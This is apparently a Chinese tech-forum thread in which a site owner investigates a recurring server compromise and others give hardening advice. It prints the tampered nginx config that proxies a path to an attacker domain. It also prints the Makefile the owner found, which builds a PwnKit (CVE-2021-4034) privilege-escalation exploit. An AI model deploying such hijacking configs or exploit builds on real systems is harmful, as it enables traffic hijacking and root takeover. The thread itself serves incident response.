ccnoobs

网站挂马 如何根治?

  •  
  •   ccnoobs · May 29, 2024 · 5012 views
    This topic created in 890 days ago, the information mentioned may be changed or developed.

    疑问

    自己的网站又挂马了,看了登录记录没有问题 ssh 端口也是只有我的 ip 才可以访问,还有什么工具可以直接修改 ng 的配置文件吗,没有排查的思绪了

    配置详情

    server {
      
      listen 80 default;
      server_name _;
    location ^~ /downloadsss
    {
        proxy_pass http://qwertyu.shijiediyi888.top;
        proxy_set_header Host qwertyu.shijiediyi888.top;
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
        proxy_set_header REMOTE-HOST $host;
        proxy_http_version 1.1;
        # proxy_hide_header Upgrade;
    
        add_header X-Cache $upstream_cache_status;
    
        #Set Nginx Cache
        
        
        set $static_fileMJrCAYTq 0;
        if ( $uri ~* "\.(gif|png|jpg|css|js|woff|woff2)$" )
        {
         set $static_fileMJrCAYTq 1;
         expires 1m;
            }
        if ( $static_fileMJrCAYTq = 0 )
        {
        add_header Cache-Control no-cache;
        }
    }
    }
    Supplement 1  ·  May 29, 2024
    感谢大家
    上面的配置内容是被串改后的配置 将指定后缀转到他的网站上去了
    排查过系统日志和 WEBSHELL 应该不是 ssh 过来改的 我感觉像是定时任务跑的脚本改的
    Supplement 2  ·  May 29, 2024
    找到挂马文件
    CFLAGS=-Wall
    TRUE=$(shell which true)

    .PHONY: all
    all: pwnkit.so cve-2021-4034 gconv-modules gconvpath

    .PHONY: clean
    clean:
    rm -rf pwnkit.so cve-2021-4034 gconv-modules GCONV_PATH=./
    make -C dry-run clean

    gconv-modules:
    echo "module UTF-8// PWNKIT// pwnkit 1" > $@

    .PHONY: gconvpath
    gconvpath:
    mkdir -p GCONV_PATH=.
    cp -f $(TRUE) GCONV_PATH=./pwnkit.so:.

    pwnkit.so: pwnkit.c
    $(CC) $(CFLAGS) --shared -fPIC -o $@ $<

    .PHONY: dry-run
    dry-run:
    make -C dry-run

    如果大家感兴趣 留言邮箱 发送一下挂马附件
    26 replies  •  2024-05-30 09:21:26 +08:00
    dode
    dode
    May 29, 2024
    1
    你这服务器只挂个 nginx 代理就被黑了?
    服务器关闭 ssh 密码登录,只使用密钥登录
    既然服务器现在不安全了,就格式化重新部署一下,关闭密码登录
    ccnoobs
    ccnoobs
    OP
    May 29, 2024
    2
    @dode 有网站自用的,直接改我 ng 配置 跳转别的域名了 ssh 只有一个 ip 地址能访问
    carlinglm
    carlinglm
    May 29, 2024
    3
    去看下系统日志吧,看下有什么可疑的 ip 来访问过,直接改你 nginx 的配置文件不太现实的,除非有啥别的漏洞
    FaHfsy1jNwH0827v
    FaHfsy1jNwH0827v
    May 29, 2024
    4
    需要经常修改文件吗?以前我用 WIN 的时候是把相关的配置和网页文件改成只读权限,可以参考下,如果还可以挂,说明对方已经有管理员权限了,往系统方面排查,直到找到对应漏洞。不想麻烦就系统重新部署,但很大机会还有相同漏洞。
    akin520
    akin520
    May 29, 2024
    5
    先看看你代码是不是有问题,挂马一般都会有 WEBSHELL
    BeforeTooLate
    BeforeTooLate
    May 29, 2024
    6
    就问是不是只有密钥登录而不是密码登录?
    ccnoobs
    ccnoobs
    OP
    May 29, 2024
    7
    @BeforeTooLate 直接密码登录
    dode
    dode
    May 29, 2024
    8
    使用 docker 部署你的网站,定期备份数据,限制特殊目录的写权限
    davehandong
    davehandong
    May 29, 2024
    9
    先想一下有没有可能操作系统或者服务本身是有问题的。
    然后 nmap 之类的工具看一下哪些端口是可访问的,把没必要的都关了
    ssh 直接登录操作的可能性我觉得不大,但是限制一下不能用密码登录也不费事,还有就是默认端口号可以改最好也改一下。
    你这个 nginxs 配置文件只有一个反向代理,面儿上看我觉得是没啥问题的吧
    可以看一下你的 nginx 版本号,用了哪个 module ,然后看一下这个版本有没有一些 CVE ,最好升到最新的。
    也可以再看一下 accesslog.
    其它的就得看具体还有啥服务了
    davehandong
    davehandong
    May 29, 2024
    10
    再补充一下,nginx 服务启动不要用 root 帐户
    tf2
    tf2
    May 29, 2024
    11
    这题我会,nginx 启动之后把 nginx.conf 和 nginx 二进制都删了。
    patrickyoung
    patrickyoung
    May 29, 2024 via Android
    12
    需要详细审计代码和系统配置
    7lQM1uTy635LOmbu
    7lQM1uTy635LOmbu
    May 29, 2024
    13
    @ccnoobs 你是不是第一次被挂马后没有重装系统?第一次进去可能由于 ssh 弱密码,但如果没有重装,很可能对方第一次已经留了后门。
    liyunyang
    liyunyang
    May 29, 2024
    14
    是 php 吗?
    MrUser
    MrUser
    May 29, 2024
    15
    最小权限原则,不要相信某些教程的话:一上来就 777 ,看着就危险。
    要这样:
    1. 可执行的文件或目录不可写;
    2. 可写的文件或目录不可被执行;

    另,检查 SELinux 规则不是不是遗漏了什么
    busier
    busier
    May 29, 2024
    16
    @davehandong “再补充一下,nginx 服务启动不要用 root 帐户”
    nginx 服务启动运行的是 master 进程,用 root 没有问题!
    master 运行的 worker 子进程才是不应该用 root 的进程。
    yarawen
    yarawen
    May 29, 2024
    17
    这个贴 https://v2ex.com/t/979950 你看下有木有用
    ccnoobs
    ccnoobs
    OP
    May 29, 2024
    18
    @nevadax 第一次挂马后没重装 应该是留后门了
    ccnoobs
    ccnoobs
    OP
    May 29, 2024
    19
    @yarawen 感谢 应该不是这个问题 我这个现象就是修改 ng 配置文件 服务是 java 的
    ccnoobs
    ccnoobs
    OP
    May 29, 2024
    20
    @liyunyang 是 java 的
    ccnoobs
    ccnoobs
    OP
    May 29, 2024
    21
    排查 nginx 命令日志时发现

    当时挂马修改 ng 时相关执行日志

    May 28 22:53:35 instance-0b1899zb root[29772]: [euid=root]::[/tmp]2024-05-28 22:53:35 root ps aux | grep nginx
    May 28 23:02:09 instance-0b1899zb root[30483]: [euid=root]::[/tmp]2024-05-28 23:02:09 root ps aux | grep nginx
    May 28 23:02:14 instance-0b1899zb root[30500]: [euid=root]::[/tmp]2024-05-28 23:02:14 root /usr/local/nginx/sbin/nginx -s reload
    May 28 23:03:28 instance-0b1899zb root[30604]: [euid=root]::[/tmp]2024-05-28 23:03:27 root /usr/local/nginx/sbin/nginx -s reload


    我这边正常的操作日志是
    May 28 23:45:16 instance-0b1899zb root[1560]: [euid=root]:root pts/1 2024-05-28 23:45 (*.151.207.139):[/usr/local/nginx/conf]2024-05-28 23:45:16 root cd /usr/local/nginx/conf/

    大家知道为啥会缺少那么多信息吗
    wheat0r
    wheat0r
    May 29, 2024
    22
    @ccnoobs #21 你猜 root 能不能编辑日志文件
    WoneFrank
    WoneFrank
    May 29, 2024
    23
    cve-2021-4034 这个是 linux 下 pkexec 逻辑提权的,直接能提到 root 权限。
    你这个应该是自己跑的业务有漏洞被打了,也就是被人写了 webshell 或者直接利用 java 命令执行了。
    root 被拿了多半会有各种计划任务、rootkit 之类的后门操作。
    如果源码和数据有备份建议先把漏洞修了,然后重开一台新服务器再把业务部上去。
    ccnoobs
    ccnoobs
    OP
    May 29, 2024
    24
    @WoneFrank 说的对 准备换个机器了
    gray0
    gray0
    May 30, 2024
    25
    新服务器的安全小思路:

    1.不应直接以 root 身份登录,新建用户,避免任何容易猜到的内容,例如 admin
    2.禁用 root 密码/ssh 登录
    3.更改默认的 umask 大多数 Linux 发行版默认 umask 为 022 ,这为每个用户提供了读取权限 修改为 027
    sudo bash -c 'echo -e "\numask 077" >> /etc/profile'
    4. SSH 安全
    SSH 默认从从 ~/.ssh/authorized_keys 读取授权密钥,改为从新建的用户那里读取
    # 修改/etc/ssh/sshd_config
    AuthorizedKeysFile /etc/ssh/authorized_keys/{user}
    gray0
    gray0
    May 30, 2024
    26
    @gray0 umask 077
    About   ·   Help   ·   Advertise   ·   Blog   ·   API   ·   FAQ   ·   Privacy   ·   Solana   ·   1283 Online   Highest 6679   ·     Select Language
    创意工作者们的社区
    World is powered by solitude
    VERSION: 3.9.8.5 · 120ms · UTC 20:01 · PVG 04:01 · LAX 12:01 · JFK 15:01
    ♥ Do have faith in what you're doing.